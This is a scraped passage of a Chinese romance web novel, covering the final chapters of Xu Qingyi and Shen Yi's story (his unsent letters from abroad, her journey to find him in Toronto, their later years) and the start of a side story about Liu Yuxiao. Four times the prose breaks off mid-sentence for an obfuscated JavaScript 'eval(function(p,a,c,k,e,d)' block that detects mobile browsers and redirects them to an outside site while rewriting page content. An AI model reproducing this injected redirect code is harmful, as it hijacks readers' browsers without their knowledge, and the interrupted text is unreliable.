候机厅的语音已经开始播报他的航班即将起飞,声音甜美的空姐在广播里叫“沈翌”的名字。 沈翌轻轻的最后一次拥抱徐清旖,他说:“谢谢你,清旖。” 为什么要对她说谢谢,她却想不明白。 徐清旖乘电梯至负一楼,机械性想要重复以往下班的动作。 在停车场找了一圈还是没看见自己那辆白色的小车,才忽然想起来今天没有开车出门。 浑浑噩噩地回到地上一层,走出候机厅后招了一辆出租车,司机从后视镜里看了她一眼,“去哪儿啊?” “随便开吧。” 徐清旖的声音还带着鼻音,司机听见了,想要开导她,“和家人分开了吗?没事儿,你看现在我们交通多发达啊,想他了就去看他呗。” “太远了。” “不远。”司机说:“多远的距离都挡不住爱呀。” 徐清旖终于忍不住掩面哭泣。 她和沈翌兜兜转转竟然已经一起走过了这么多年,回忆里的那些过往纷至沓来。 年少时那道只有他解得出来的数学题,他算题算到不小心睡着时落在睫毛上的阳光,他知道保送名额被家境优越的人抢走时强忍的情绪,又或许是她去相机店里找他时,他认真验算方程式的模样。 青龙寺下他替她求姻缘,把系着铃铛的红丝带一次又一次地抛向高空…… 她知道自己泯然众人,更知道他应该是站在世界中心的人。 他们经历过那么多次分别,每一次都会很认真地说一句“再见”。 然而这一次他转身离开,却只说了一句“谢谢”,像是一场漫长到半生的告别。 - 沈翌坐在靠窗户的位置,亲眼看着飞机穿越云层奔向太阳光照来的方向。 他忽然想起来那一年徐清旖结婚,当时他从伦敦坐了十多个小时的飞机回国,那架飞机也是这样跨越云层奔赴远方。 地理书上的图画通俗易懂,以至于很多人以为晨昏线是两道清晰的曲线。 但实则它看似没有边界却又最宏大,好像软绵绵却又最深入骨髓。 而她和他,就像是昼夜。 - 2005年1月18日,中国科学考察队成功抵达南极内陆冰盖的最高点,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389924|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是中国历史上的又一大进步。 这一年夏天,中国娱乐业蓬勃发展,涌现出一批“超级女声”,火热了一代人的青春记忆。 秋天的时候,有报道称年底在厦门将会举行国内首次漆画拍卖会。 同样还是在秋天,国庆的前两天,徐清旖从北京千里迢迢赶回南城,她的母亲生了一场大病。 母亲年纪大了,一次感冒也被闹得住进了医院,徐清旖在病床边寸步不离地照顾着。 出院的那天阳光很好,徐清旖在窗口处等待办理手续。 一阵风吹过来,几缕银丝在眼前飘了飘。 她已经生出了一些白发,岁月不可避免在她脸上留下了痕迹,她惊觉自己已经开始衰老了。 晚上母亲和她聊起那位许小姐,她说:“那姑娘也去了北京,过年的时候带回来一个北京的男朋友,两个人可搭了!” 说罢又握住徐清旖的手,担忧地看了看她,却欲言又止。 徐清旖什么也没有说。 - 沈翌在多伦多跟的那位教授是曾经在一次学术会议上有过几面之缘的数学家。 他给沈翌讲自己年轻时认识华罗庚先生,说他很敬佩中国人的数学精神。 那时沈翌正在另一个研究方向,根本无法想象未来自己会跟着他一起深造数学专业。 十一月,加拿大已经是深秋。 沈翌在本地买了一辆越野车,他不再执着于悍马,在车行中随机选择了一款。 一个空闲下来的午后,沈翌开着车去邻近的小镇看房子。 他经过一条很长很宽的大道,道路两旁的枫叶红得似火。 沈翌在一栋带庭院的小房子前停下来,那里正站着一对老年夫妇在等他。 “不好意思,来晚了。” 沈翌下车后与他们相互拥抱,他们是这里的上一任租客。 老先生指了指自己手腕上的表,他说的是标准的美式英语。 “不晚,你比我们约定的时间提早了十五分钟。” 他们带着沈翌进去院子里看房子。 这是一处独栋的小别墅,镇子距离多伦多大学只有不到一个小时的车程,所以很多租客都是来自学校的学生或者教授。 “我们是外教。” 老先生笑了笑,他取下帽子示意沈翌看看自己的头顶,那里头发掉了不少,“没错,我是教物理的。” 大家都笑了起来。 老先生十分幽默又真诚,他很认真地介绍这栋房子的优缺点。 “这里人少一点,再往北一些邻居会更多,看你喜不喜欢热闹。” 沈翌不擅长与人打交道,所以直接定下了这栋房子。 与他们约定好交房的时间后,他开着车回了学校。 他在学校住双人间,客厅与厨房是和别人共用的,洗手间都在各自的卧室。 沈翌回家后的第一件事是给房东致电,表示自己很满意他的房子,想要签一个长达三年的租房协议,并且说明自己第二天就可以付押金。 等到一切都整理完毕以后,他打开自己的笔记本,上面是他做好的关于养宠物的笔记。 上面的内容包括但不限于:购买猫粮和狗粮的商店、宠物洗浴店、狗狗游泳馆以及玩具店等等。 过了不到一周,沈翌正式准备搬家。 他从图书馆借了几本艺术学的书,买了很多的颜料和画板,以及两组与他的相机适配的镜头,这些都是以后他用来打发时间的爱好。 他的东西不算太多,塞了后备箱和后座就不再需要另请搬家公司。 这是沈翌来到加拿大的第四个月。 50. 半生 十二月徐清旖去了一趟厦门,11号在这里举办了一场漆画拍卖会,她觉得沈翌肯定会喜欢。 这几个月来他们几乎没有联系,徐清旖偶尔写文案的时候想起他,恍惚间还以为自己仍在黎江市的写字楼,而沈翌还会在楼下等她下班。 母亲有时候打电话来说,李安每个月仍然会往家里送各种东西,等到父亲将它们全部扔进小区楼下的垃圾堆,下个月又会换了新的送过来。 中国那么大,他们再没见过面。 快到圣诞节的时候,林知一给她打电话。 “是呀,没想到现在会怀上。” “祝贺你啊,知一。” 徐清旖由衷地感到幸福,肖珩和林知一在一起这么多年,竟然现在忽然有了自己的孩子。 “我们想请朋友们一起吃个饭,虽然医生不建议我们要这个孩子,但先和大家分享喜悦吧。” “肖总怎么说?” 虽然已经从公司离职好几年,徐清旖仍然习惯着这个称呼。 “他很担心我,让我听医生的话。” 林知一摸了摸自己的肚子,仿佛是释然一般笑了笑,“好啦,我就问问你下周末有没有时间,沈翌现在在哪里?” “我当然有时间啊。”徐清旖说:“他去了加拿大。” “加拿大?他去出差吗?” “读书。” “真厉害啊。”林知一说:“清旖,我还记得我第一次见他的样子,那时候你搬来和我一起住,沈翌帮你收拾东西。我问他在哪里读的大学,你说他是南大毕业的。” 徐清旖沉默着没说话,她听见林知一仍然在回忆。 “后来我看出来你喜欢他,于是我鼓励你去告白。那一年你去了纽约,回来之后颓废了很长一段时间。” “再和他见面是在医院,他应该熬了很久,和我印象中他的任何一个样子都不一样。” 林知一说:“我告诉他你去了纽约的事,那时候我看他的反应就觉得他不像是在骗人,可是他一句话也没有和我解释。” 徐清旖捏着电话,很缓慢地开口:“不是的,都是我……” “清旖,你去找回他吧,前半生你们都太苦了,总不能一直这样下去吧。” 没过多久,徐清旖接到了一个意想不到的人的电话。 “想找你可真不容易。”电话那头的人语气不明地说:“我叫孟晨。” “你好。”徐清旖记起他是谁。 “沈翌去加拿大留学,你知道吗?” “知道。” “那你们还有可能吗?” 徐清旖皱了皱眉,她记忆中的孟晨向来不待见自己。 还没等问出口,对面就已经继续道:“这是我第一次,也是最后一次问你,你和他是不是没可能?” 徐清旖半天说不出一个字。 孟晨说话很快,“有个东西那一年他准备扔掉,我偷偷留下来了,我会把它寄给你。” “最后一次。”他说。 又过了四五天,徐清旖在邮局拿到孟晨寄来的邮件。 一个档案袋,包裹很严实。 徐清旖回到家,独自坐在沙发上拆开,里面是几封连邮戳都没有的信件。 - 清旖: 展信佳。 在旧金山的第一个夜晚,无法控制地想要写些什么来表达我的心情。 我从出生起就待在南城,高中时坐火车去北京参加数学竞赛,大学毕业后去了黎江,临走之际和你一起去了一次拉萨。 旧金山是我出国后第一个落脚的城市。 我们的老师叫作史密斯,是美籍华人,据说中文名姓王。我问他这里能不能寄信出去,他说很困难,至少要过两个月。所以我多给你写一些,等到可以寄信的时候,再选择最好的那一封。 我们宿舍的人都很好,我不擅长和他们交往,但他们很照顾我。 写下这封信的前不久,那位叫作白思园的小孩还在念叨着想家。他是东北人,所说的那些菜我都没听说过,如果有机会一起去哈尔滨,我们可以去尝一尝。 培训的时间应该不会太久,你要等…… - 清旖: 展信佳。 今天参与一个颁奖仪式,竟然碰到了JimLarkin,他还和我问起了你。 晚饭是我们在一起吃的,我先到了一会儿,餐厅旁就是查尔斯河。 想起来以前在万师傅的相机店的时候,如果碰上没客人的日子,我坐在店里发呆,一回头就能看见黎江。 说起来还有些恍惚。 他又聊到我,说你曾经给他说我很热爱数学。 清旖,其实我从未告诉过你,当年我之所以喜欢数学,或许有很大一部分原因是我对此有天赋。 我很愧对你所说的热爱。 我学数学算是简单,所以攻破难题的时候一环扣一环才会感到酣畅淋漓。 下午在哈佛,听见各位前辈们对于数字的理解,甚至是听见我的队友Joseph作报告的时候,我都觉得自惭形秽。 我想真正的热爱是不求回报的。 而我选择了另一个专业、另一个职业,其实是在为了生活和金钱忙碌奔波。 我是一个如此庸俗的人。 沈翌 - 清旖: 展信佳。 遇见一个人很像你,她也喜欢穿长裙。 第一眼见到她的时候,我想起来那年同学聚会,你也穿的是这样一条差不多的裙子,头发绾起来很漂亮。 于是我无法抑制地开始想象,假如你来美国旅行,我会带你去哪些地方。 我一定也会陪你去逛宜家吧?之子于归,宜室宜家。 多少是带着点私心的。 西海岸的宜家旁边有一家披萨店,据说那里的面包很难吃,但是意面应该不错,孟晨每一次路过都不会错过。 孟晨是我在这里最好的朋友,如果有机会,我会介绍你们认识。 明天要去一趟大学实验室,早睡。 沈翌 - 清旖: 展信佳。 不知这封信到你手里的时候会是什么季节,伦敦刚下过一场大雪,隔壁的库珀去世了。 这几年他与我关系甚好,装好假肢以后偶尔他也会一个人出行。 那一天实在是过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389925|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太久没有他的消息了,我从门口的地毯下勾出他的钥匙,才发现他已经一个人悄悄离开很久了。 他是一个很有趣的老头,楼上喜欢出门看画展的奶奶和我聊天,说我这个屋子的上一任租户搬走,多少其实都是因为库珀。 他喜欢讲自己的故事,讲自己当年在西雅图经历过一次雷电、两次车祸,还遇见过龙卷风。听起来不着边际的故事,我愿意听他讲,因为我知道他太孤独了。 房东太太也曾经和我说过很多次可以不用理他,可我觉得这是一件善事,至少我让他在生命的最后阶段有了勇气,安装了假肢,还去看了更远的世界。 他的后事是我负责的,他没什么亲人朋友,我和孟晨,还有几个认识他的同事,就是他在这个世界上活过的唯一证明了。 看到他我就会想起来爷爷,每一次和他打电话他都告诉我自己很好,真的好吗?我不知道。 我常常会想自己究竟是为了什么而活着,真正支撑我走到这里的又是什么。 如果有一天我坚持不下去了,那时候我孑然一身,是不是也会像库珀这样? 除了你,除了孟晨,除了万师傅,再没有人能够证明我活过了。 沈翌于伦敦家中 - 清旖: 我很想你。 - 清旖: 展信佳。 又是年底了。 我向公司休了年假,从伦敦到哥本哈根,一路走过了斯塔万格和赫尔辛基。 现在我躲在雷克雅未克的一家旅店里,灯光昏暗,想着是否要写些什么。 今天在从机场出来的大巴上,我恍惚间想起来很多年前你说过想要看一场大雪,这么多年竟然不知道这个愿望有没有实现。 司机说着我听不懂的语言,我只能用英语和他应付,等我想起来自己还在旅行的时候,却已经到了伸手不见五指的黑夜。 这辆大巴上除了我就只剩下另一名黑人了,异国他乡,这是我被调来英国之后第一次感受到恐惧。 但等到天边的极光慢慢蔓延开来的时候,那一瞬间我竟然又觉得算了,管他是因为什么被困在这里呢。 不知道是幸运还是不幸,老板那堆我听不懂的语言原来只是在咒骂雪下得太大。 那位黑人睡醒以后充当了我的临时翻译,我们三人还合作给车子换了防滑链。 一直到深夜才真正抵达我居住的地方,邻居也是来旅行的人,他们正在烤鱼吃。听见声音便招呼着我一起,我拒绝了。 等到把行李收拾好,窗外的雪下得更大了。 在美国时听同事说雪大的时候要扫雪,我在伦敦一直住的是公寓,想起来还有些新鲜。 于是我像个笨蛋一样,在凌晨拿着扫帚去扫台阶上的雪,扫不尽,累了想摸烟才想起来冰岛禁烟。 扭头扔了扫帚转回房间准备睡觉。 好吧,到最后了,我其实只是想说:北欧的景色很漂亮,可是这么多年我也看腻了。 一望无际的白,单薄又没有生命力,实在让人活跃不起来。 很没有意思。 但如果你在就好了。 沈翌于冰岛、雪夜 51. 全文完 再见 圣诞来临的前夕,多伦多下了一场很大的雪。 实验室的同窗邀请沈翌去斯卡伯勒过节,她说那里有一场圣诞集会,很多人都会扮作圣诞老人的样子开派对。 沈翌以家中的宠物为由婉拒了对方的邀请。 他一个人百无聊赖地开着车在大街上闲逛了一圈,等到夜晚即将来临的时候,又去了酿酒历史区,在那里正有一个圣诞集市,灯火璀璨、热闹非凡。 这里的人很多,沈翌在其中沾染了一些热闹的气息,在路标下看了看,找了个吸烟区抽了两根烟,然后才准备回家。 昨天他正在解一个方程时,徐清旖给他打电话询问近况。 沈翌放下笔活动了一下脖子,简要地讲了讲最近的事情。 说自己买了两条狗和一只猫,还说自己租了房子在一个很漂亮的小镇。 “多伦多的小镇我只听说过BlueMountain”徐清旖说。 沈翌知道那里,那是多伦多有名的旅游小镇。 “那里不适合居住。” 说完他又说了自己所在的小镇的名字。 徐清旖沉默了一会儿,然后问他:“那里漂亮吗?邻居怎么样?” “我住的那一片人不算多,上一任租户说,那个小镇北边会更热闹一些。” - 沈翌买了一罐罐装的咖啡,他的视力在降低,现在他夜间开车必须要戴上眼镜。 雪天的路更不好走,等到了那条枫树大道的时候,已经快到十一点。 再转一个弯就到了自己家楼下,沈翌想起来那只白色的小猫,今天走之前忘了给它添猫粮,不知道小家伙是不是饿了一整天。 沈翌的车上适时地播放着那首《WinterWonderland》,他向左打方向盘,忽然看见自己家门口站着一个人。 她穿着白色的羽绒服,耳朵上戴着一个滑稽的耳罩。 沈翌停下车,远光灯还没来得及关,他走到徐清旖面前,自己的眼镜镜片裹上一层厚厚的雾气,有些看不清。 徐清旖替他取下眼镜,他看见她睫毛上的水珠已经结成了冰。 原来触碰睫毛的时候,手指也会痒。 沈翌的嘴唇动了动,徐清旖抢先他一步开口:“开开门吧,我要冻死了。” 等到沈翌停好车回到屋内,徐清旖已经和猫猫狗狗玩在一起了。 “你回来啦,你今天是不是没给你的猫吃饭?它刚叫了好半天。” 沈翌这才看清她的样子,头发应该是剪短了一些,被染成了深棕色。 她脱掉了厚重的外套,穿着一件深色的毛衣靠着沙发坐在地毯上。 沈翌木然地点点头,脱下自己的外套挂在进门的地方,走到厨房拿了水杯给徐清旖倒一杯热水放在面前。 隔了大概十几秒,话在嘴边又变了,“你怎么知道我住这儿?” “打车过来的啊,加拿大的出租车真的很难打。” 徐清旖双手握着玻璃杯,小猫趴在她的腿上舔自己的手。 “我一眼就看出来这是你的房子,因为这里是这一片唯一没有圣诞装饰的房子。” 沈翌喉间一动,他的声音沙哑,“那要是这里没住人呢?” “门前扫过雪,当然有人啊。” 徐清旖说:“你回来之前我就在想,如果你十一点还没人,我就要去你的邻居家借电话了。” “不过还好,你还是来了。” 沈翌低下头,想要掩饰眼里的泪光。 下一秒,他被徐清旖伸手轻轻搂住,沈翌伏在她的颈侧,倔强地忍着眼泪不要掉下来。 两只狗狗看见他们的动作也好奇地凑近了一些,徐清旖偏了偏头,哽咽着继续道:“还好,你还是来了。” 沈翌说不出话来,抿抿唇问她:“饿了吗?” 徐清旖便放开他。 “有点儿,不过可以吃个面包吗?最近在减肥。” 沈翌起身找了个三明治放进微波炉。 “你们学校怎么样?”徐清旖没话找话,布偶猫窝在她腿上睡觉,她就盯着小猫发呆。 “还不错。”沈翌说完又补充道:“圣诞节放假了,他们都去了斯卡伯勒。” 徐清旖点点头,著名的圣诞城市。 微波炉“叮”的一声,沈翌把三明治取出来放进一个方形的盘子里,递过去。 半晌,终于问出了那句在他心里磨蹭许久的话,“为什么来找我?” 徐清旖正准备打趣的话噎在嘴边,沈翌的声音很平静。 他说:“清旖,不要可怜我。” “其实我现在过得不错,在学自己喜欢的专业,认识了很多同领域的人,我……” 徐清旖打断他。 “我没有可怜你,也不是真的到年纪应该怎么样了。我给了我自己半年多的时间,我想清楚了。” “我真的想清楚了。” 徐清旖的眼泪在眼睛里打转,她直视着他,“沈翌,我还有机会吗?” 她的声音哽咽,同时发现沈翌的眼泪也藏在眼眶中摇摇欲坠。 “可我不是你喜欢的那种人,我很糟糕,生活一团糟。”沈翌有些慌张,说的话也没什么重点,“我还没有回国,我……” 徐清旖摇摇头,伸出双手轻轻捧住他的脸。 声音很小地问:“我还有机会吗?” “我已经开学了,如果和我在一起还会要你再等我几年。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389926|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有机会吗?” 徐清旖任由眼泪流下来,第三次重复这个问题。 沈翌的声音戛然而止,他终于忍不住哭出来,一边用手抓住徐清旖放在自己脸侧的手腕,一边埋下头,哭着回应她:“谢谢你给我机会,谢谢你来找我。” 恍惚间徐清旖好像又看见当年的那个小男孩,坐在矮墙边,墨绿色的校服沾了些灰尘。 眼里有泪却不肯放声哭泣,倔强地偏过头说着:“没关系”。 而这一次,她终于伸出手拥抱了他,她说:“我爱你。” 一句爱你,我用了数十年的光阴才说出口。 如果当初我们都再勇敢一点,那么过程是不是就可以不用这么辛苦。 - 房子外的路灯亮了两盏,大雪正簌簌落下,像是奔赴一场一生的热爱。 屋内,沈翌坐在沙发上,他用两只手捏住小猫的前掌,轻轻地向上提。 徐清旖靠在他肩上,那只雪纳瑞正靠在她脚边睡觉。 “困了吗?”沈翌问她。 徐清旖摇摇头,他又说:“困的话我去给你收拾房间。” 沈翌伸出手想碰小猫的肚子,却被小家伙一口咬住,沈翌捏住它的下巴,脸上带着笑打量它。 “这段时间它好像胖了一点。” 徐清旖忽然从他的肩膀上抬起头,像是想起了什么一样问他:“你当初为什么要来多伦多?” 沈翌抿了抿嘴,徐清旖说:“我刚刚想起来那年我是不是给你说过想去看五大湖?” “是因为我吗?” 徐清旖那会儿哭得眼圈的红还没有消退,沈翌凝视了她两秒,微不可闻地应了一声。 “如果我不来找你,你就打算这样一个人过一辈子吗?” “可是你来找我了。”沈翌抱住她,小猫从他的束缚中解脱出来迅速跑走。 “你到底瞒了我多少事?”徐清旖闷闷地说。 沈翌看了看窗外那场不知道会下到什么时候的大雪,想起来从前在某本书上看到一句话。 诗人说:“你醒来,这一生的光阴都值得虚度。” 他们曾在沈翌拿到数学竞赛的金奖后拥抱; 在神圣而又美丽的念青山上拥抱; 在飞机的轰鸣声中告别、拥抱…… 他们都眼睁睁地看着对方一次又一次地离开,孤独与伤痛无数次地裹挟住他们。 现在在距离他们的祖国数万公里的异国他乡,沈翌时隔多年终于再一次感受到有家可归。 “以后慢慢告诉你。”他说。 不用着急在这一分、这一秒,以后的每一天,都是用来说:“我爱你”。 很多次。 -全文完- 52. 我们 加拿大的夏天总是很短,一场雨过后它便没了身影。 很久以后的某一天,沈翌从家里搬来凳子,支起画板,据说这里规划了一个小公园,年后就准备开始动工了,他打算最后再记录一次。 徐清旖抱着布偶猫也来这边陪着他,小猫的名字很简单,就叫布偶,两只眼睛圆圆的,也不知道怎么回事总是懒着赖在怀里不下来。 “晚上喝点牛奶吧,好久没有看电影了,想看《oneday》,去年的片子了。” “好。”沈翌点点头,然后看了看她说:“你坐我对面吧,我把你和布偶也画进去。” “我吗?我老了,不好看。我去把狗狗们牵过来,画它们吧。” “不老。”沈翌摇摇头,“我可以把你画成女孩。” 徐清旖笑了笑,“说什么呢?” 说着她又把小凳子搬去沈翌对面几米远,问他:“这里可以吗?” “可以,很美。” 徐清旖挠挠布偶的下巴,小猫舒服地眯起眼睛。 “别把我的皱纹画上啊。” “你永远是小姑娘。”沈翌终于拿起画笔。 自从几年前他毕业以后,每一年冬天他们都会来加拿大的这个小镇度几天假。 今年的冬天要带着父母去旅行,所以他们把时间移到了九月。 沈翌抬头看看她,又在画纸上继续构图。 这两年徐清旖很喜欢穿一些鲜艳的颜色,和她身后像火一样热烈的红叶相衬,真是美得不像话。 时间渐晚,他们收拾好还未完成的画和凳子,回到家里牵着两只狗一起出了门。 还是从前那只雪纳瑞和德牧,不过他们都长大了很多,或者说苍老了很多。 北美的风光很好,落日西沉,月亮的光辉还很淡。 在粉紫色的天空下,沈翌牵着两只小狗,徐清旖抱着布偶走在他的左侧。 安大略湖面波光粼粼,一眼都望不到边。 她忽然说:“想回中国了。” 沈翌答应下来,“好,下周我们就回去。” “前几天知一给我发了一首诗。”徐清旖说:“如果给你寄一本书,我不会寄给你诗歌。我要给你一本关于植物,关于庄稼的。” 冬天快到了,他们这里正是加拿大最南方,可对于候鸟们来说,还是太北了。 路旁的灯亮了起来,一盏又一盏地延伸至远方,点亮了整片天空。 路上碰见他们的邻居,对方邀请下个月一起过感恩节,他们婉言谢绝了对方,回复说准备启程返回祖国。 邻居表示了可惜,又询问他们什么时候回来。 沈翌这些年养成了正宗的美式英语,发音圆润,徐清旖当年喜欢英式,总觉得伦敦腔听起来更有意思。 但他早已不用耗费心思多余思考这些了。 她说那都不重要,因为她很喜欢听沈翌讲话,始终温温柔柔的,像是风。 像春天。 回到家以后,徐清旖去热牛奶,沈翌把三只宠物送回窝里,又到安装了投影仪的房间找电影。 徐清旖很喜欢看美剧和港片,于是他把原来用来放画的房间腾出来,添置些必备的设备,变成了现在这个小的私人影院。 《OneDay》是美国的电影,找到片源以后,沈翌坐到房间里的沙发上,想了想又去换了一盏暖黄色的灯。 正巧徐清旖开门进来,两人把牛奶放在一旁,然后才一起盖好羊毛毯子坐下。 故事中女主角以朋友的身份陪在男主角的身边很多年,像极了当年的他们。 看至此,徐清旖泪眼婆娑,他们年过半百,沈翌却还是会像恋爱中的男朋友一样认真回握她的手。 电影里德斯特与艾玛在湖边拥吻,徐清旖倚在他怀里。 “你记得吗?我们高中的时候刚开始学数列,有一次语文老师让我们用其他学科的知识写一句祝福,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389927|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候我说:希望你的未来是一串等差数列,首项是今天,公差为正,每一个明天都会比今天更好。” 她看见他笑了笑,便知道他已经记起。 于是她也弯起嘴角。 “当时你反问我:为什么不是等比数列,明天的快乐永远比今天多几倍。那时我还不懂什么是等比数列,但就是觉得你好厉害,也很惊讶,你这个书呆子竟然会回答我。” 沈翌把桌上的牛奶递给她,接下她的话,“其实在那以前我喜欢数学只是因为我在这方面很有天赋,我喜欢的不是数学本身。那一次以后,我才真实发现了它的那种灵性的美。” “那你怎么不问我?”徐清旖皱皱眉,“那时候我有很多乱七八糟的想法的。” 沈翌笑了笑,没回答她。 徐清旖又指着电影里的德斯特。 “其实我现在才发现,等差和等比都太难了,只有经历了无数次的起伏以后,事到如今,才终于有规律可循。” 高中时的教室、操场,到后来逼仄的一居室、偌大的太平洋,走到这样一间多伦多小木屋。 他们之间经历了,也浪费了太多的时间。 年少时的他们都是勇敢的,为了那一个人,为了那份未知的未来,跌跌撞撞只身拼搏。 过了这么多年,才终于安定了下来。 徐清旖感觉到沈翌揉了揉她的头,好像她还是那个十几岁的小孩子。 然后她听见他说:“我也是。” 温柔却掷地有声。 年少的时光被加上了怀旧的滤镜,她又想起来那首诗,是余秀华的《我爱你》。 “而光阴皎洁,我不适宜肝肠寸断。” 相聚的时光很短,分开的岁月也不长,这一生还有很久。 还有很久的时间,我可以告诉你。 告诉你稻子和稗子的区别,告诉你一棵稗子提心吊胆的春天。 就在这个世纪,就在现在。 53. 语潇 新一届的省教师技能大赛圆满落幕,刘语潇作为艺术组的金奖获得者受邀前往南城大学参观。 上半年沈翌的爷爷去世,她和孟晨陪着他来过一次南城。 而此刻物是人非,却让她不得不感慨他们命运的紧紧纠缠。 临走前一位不熟的亲戚来他们家,说孩子即将出国留学,想问问她一个人去国外有没有什么要注意的地方。 刘语潇想了很久,话显得寡淡无味,无非就是注意安全、行事低调…… “是我太焦虑了,这些事其实说来说去也就那样。” 闻言,她愣了愣,片刻后,握住这位并不熟悉的阿姨的手,“但还是要说的。” 刘语潇说:“有些话听多了,自然也就记在心里了。” 走时那个爸爸介绍过的人特意休假来找她。 在机场里,贺程风演技拙劣,说正好遇上一个考察项目要去南城。 “没想到这么巧。” 刘语潇没有拆穿他。 等上了飞机,他握着机票站在她的座位边,故作惊讶,“实在是太巧了。” “确实。”刘语潇点点头,“很有缘分。” 贺程风其实也没有料到这个场面,表情略显尴尬。 两人在飞机上几乎没有说话,贺程风摸不准她的情绪,出机场也不知道该不该跟上去。直到刘语潇侧过身来叫住他,“还不走吗?” 那人傻站着。 “我爸难道没告诉你我住在哪儿吗?” 行,刚好他不知道该怎么往下演了。 收拾好东西后,刘语潇准备去一中逛逛,路过隔壁房间时,她正犹豫着要不要问他,贺程风刚好拉开房间门。 “要出去吃饭?” “不是。”刘语潇摇摇头,“去一中。” “一中?不是南大吗?”察觉到说漏嘴,贺程风紧急改口,“我猜的。” “忘记机场我和你说什么了?” “好吧,我承认是刘叔早和我说过了。” “没事的,你别想太多,是麻烦你陪我跑一趟。” 话音刚落,刘语潇看向贺程风,捕捉到他脸上的片刻不自然。 “怎么了?” “没什么。”贺程风看着她阔腿牛仔裤下的高跟鞋轻轻拧眉,“逛街的话穿这个不累吗?” 谁知刘语潇也是神色一变,“不会,习惯了。” 于是他们一起往一中去。 南城一中修在半山腰,街边的商贩指引他们从学校的西区长梯上去。 他说学校环山而建,七年级和八年级在西边的白鹤校区,东区是高二和高三,而两个校区中间的是九年级和高一所在的西区。 从西区的长梯而上,经过那扇铁门,右侧是一条长廊。 刘语潇的视线落在上面,不知道在想什么。 “你以前来过这里吗?”贺程风问。 她摇摇头,“我只是在想,这里的学生课间会不会来这里休息。” “难。”贺程风冷静分析,他指着远处的高一楼,“教学楼离这儿不算近,课间时间太短了。” 刘语潇忍俊不禁,但也只是看了他一眼,没多说什么。 一中建得很大,初三楼和高一楼并排而立,左侧有一个天桥,天桥通向学生宿舍,另一侧是旧礼堂,宿舍楼后有一个大操场。 今天是周末,但操场上仍有在踢足球的学生,他们有几人穿着一模一样的衣服。 刘语潇忽然问:“你觉不觉得他们的校服……” 贺程风也往那边看。 “很丑。”她说。 贺程风承认,“确实,没见过绿色的校服。” 几秒后,她道:“走吧。” 从西区往东走,有几片巨大的花坛,藏在这里的还有生态植物园和学工楼。 路过一面满是名人画像的高墙之后,才真正到了一中的东区。 饶是自小生活条件优渥的贺程风都忍不住感慨,“没想到南城还会有这样的公办学校。” 和平楼和长排楼的每一层都连接着走廊,根据教室上的牌子,很轻易可以看出一栋楼是高二,另一栋是高三。 贺程风没头没脑地跟着刘语潇往长排楼楼顶走,转过一个墙角,忽然发现这里有一片平台。 “你怎么知道这里能上来?”他问:“你来过吗?” 刘语潇没说话,她走到那一面墙边,这里贴着往届所有名列前茅的高考生名单。 视线落在一个名字上。 “你成绩怎么样?” “我吗?”贺程风原本在看东区操场,闻言迅速转过身,“我从小成绩就很好,大学是在上海念的。” 他说了一个耳熟能详的大学名字,继续道:“毕业后就考到局里了,哦对了,我爸和你爸是朋友,我们小时候还见过面的。不是,你可能没印象了,他后来调走了,就在财政……” 一大段话声音越说越小,后来刘语潇几乎没听清。 “谢谢你。” 但是她说:“我有一个很喜欢很喜欢的人。” 贺程风冷静下来,表情也严肃了些,试探着问:“然后呢?” “然后,我决定不喜欢他了。” 她朝他笑了笑,“他很好,也是因为喜欢他,我才会变得更好。” “不是的。”贺程风打断她的话,“让你变得更好的是你自己,不是他。” -“他什么也没有做,不是吗?” 刘语潇“嗯”一声,似乎正在思考,也不知道想清楚没有,“说的也是。” “都不重要了。”她也走到栏杆边,望向远处山下流经这座城市的长江支流,“我不喜欢他了。” 眼睫微微颤抖,他们离得很近,贺程风很清晰地看到她眼里有一点泪光瞬间消失不见。 下一秒,他变戏法似的从兜里掏出来一枚硬币。 “来玩个游戏吧。”他说:“猜硬币在哪边。” “奖励是什么?” 